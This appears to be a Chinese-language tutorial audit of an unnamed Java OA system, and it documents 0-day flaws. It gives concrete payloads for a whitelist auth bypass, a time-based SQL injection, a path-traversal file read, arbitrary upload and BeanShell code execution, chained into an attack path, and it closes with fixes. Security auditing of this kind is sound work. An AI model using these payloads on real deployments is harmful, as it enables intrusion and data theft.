某OA系统0Day审计过程
字数 1462
更新时间 2026-02-06 02:50:56
某OA系统0Day漏洞审计教学文档
一、系统架构分析
1.1 技术栈组成
- 后端框架:SSM架构(Struts2 + Spring MVC)
- 前端渲染:JSP技术
- 数据库操作:主要采用JDBC直接连接
- 安全防护:自定义Filter进行权限控制和输入过滤
1.2 审计目标接口
- Struts2 Action方法
- Spring MVC控制器方法
- 可直接访问的JSP文件中的业务逻辑
二、权限绕过漏洞分析
2.1 DownloadFilter权限绕过
2.1.1 过滤逻辑分析
// 主要放行点在57行,位于大if块外部
// 关键绕过点在于50-54行的白名单校验
if (!(privilege.isUserLogin(req1) &&
(path = requestUri.substring(ctxPath.length())).equals("/") &&
(path.indexOf("common.js") != -1 ||
path.indexOf("module_field_ajax.jsp") != -1 ||
// ... 其他白名单路径
)) {
chain.doFilter(request, response);
return;
}
2.1.2 绕过方法
构造URL包含白名单关键词即可绕过鉴权:
http://target.com/xxx/common.js/../admin/user_edit.jsp
2.2 ProtectFilter安全绕过
2.2.1 防护逻辑
- 检查请求URL是否包含error.jsp
- 调用SecurityUtil.filter进行SQL注入和XSS防护
2.2.2 绕过方式
- 使用error.jsp路径绕过
- 利用UnProtectUnit配置中的排除规则
三、SQL注入漏洞
3.1 漏洞产生条件
- 使用JDBC非预编译语句
- 参数用户可控
- 未调用sqlstr防护方法
3.2 具体漏洞点
3.2.1 linkman_list_sel.jsp注入点
// 参数通过ParamUtil.get获取,未过滤
String orderby = ParamUtil.get(request, "orderby");
String sort = ParamUtil.get(request, "sort");
// 直接拼接到SQL语句,未使用sqlstr处理
String sql = "SELECT * FROM table ORDER BY " + orderby + " " + sort;
POC构造:
orderby=id&sort=asc;SELECT SLEEP(5)--
3.2.2 listmember.jsp注入点
类似逻辑,orderBy和sort参数直接拼接
四、文件上传漏洞
4.1 FilecaseUploadAction任意文件上传
4.1.1 漏洞逻辑
// 获取上传文件列表
List<FileUpload> files = this.getUpload();
for (FileUpload fu : files) {
// 文件名完全可控,存在目录穿越
File file = new File(savePath + fu.getFileName());
// 直接写入文件内容
FileOutputStream fos = new FileOutputStream(file);
// ... 文件写入逻辑
}
4.1.2 权限校验绕过
需要生成有效的skey参数:
- 使用3DES加密"admin|时间戳"格式数据
- 密钥从配置文件中获取
- 时间戳有效期为20分钟
4.1.3 上传路径
/upfile/filecase/年/月/原始文件名
4.2 NetdiskUploadAction任意文件上传
类似逻辑,保存路径为:
/upfile/file_netdisk/admin/文件名
4.3 NoticeAddAction受限文件上传
- 文件名使用随机数生成:时间戳+8位随机数
- 后缀通过StrUtil.getFileExt处理(提取最后一个.后内容)
- 文件信息写入数据库,可通过SQL注入读取
五、任意文件读取漏洞
5.1 getfile.jsp文件读取
<%
String filename = request.getParameter("filename");
String ext = request.getParameter("ext");
// 直接使用参数构造文件路径
File file = new File(basePath + filename + "." + ext);
FileInputStream fis = new FileInputStream(file);
// 输出文件内容到响应
%>
利用POC:
/getfile.jsp?filename=../../WEB-INF/web&ext=xml
5.2 其他文件读取点
类似逻辑,通过mappingAddress参数控制读取路径
六、BSH代码执行漏洞
6.1 BSH(BeanShell)简介
- 小型Java源码解释器
- 支持执行标准Java语法
- 具有脚本化扩展能力
6.1 admin/script_run.jsp代码执行
<%
String myscript = request.getParameter("script");
Interpreter interpreter = new Interpreter();
// 直接执行用户输入的脚本
interpreter.eval(myscript);
%>
利用POC:
Runtime.getRuntime().exec("calc.exe");
6.2 BeanShellScriptJob调度任务代码执行
6.2.1 执行逻辑
public void execute(JobExecutionContext context) {
String script = context.getJobDetail().getJobDataMap().getString("script");
Interpreter interpreter = new Interpreter();
interpreter.eval(script);
}
6.2.2 数据写入点
通过scheduler_add_script.jsp插入调度任务,将恶意脚本写入数据库的quartz_job_details表
七、漏洞利用链构建
7.1 完整攻击路径
- 通过权限绕过访问后台功能
- 利用SQL注入读取文件上传后的随机文件名
- 结合BSH代码执行获取系统权限
- 使用任意文件读取获取配置文件信息
7.2 防护建议
- 统一使用预编译SQL语句
- 文件上传限制后缀名和文件内容检查
- 实现严格的路径校验防止目录穿越
- 禁用动态脚本执行功能
- 加强权限校验,避免白名单绕过
八、审计工具推荐
- FileLocator Pro:代码关键词搜索
- 反编译工具:分析class文件逻辑
- Burp Suite:漏洞验证和利用
本教学文档详细分析了该OA系统的多个安全漏洞,涵盖了从权限绕到远程代码执行的完整攻击链,为安全审计人员提供了完整的技术参考。